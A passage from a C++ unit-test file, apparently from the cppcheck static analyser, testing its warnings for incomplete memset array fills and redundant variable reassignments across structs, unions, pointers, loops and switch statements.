a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n 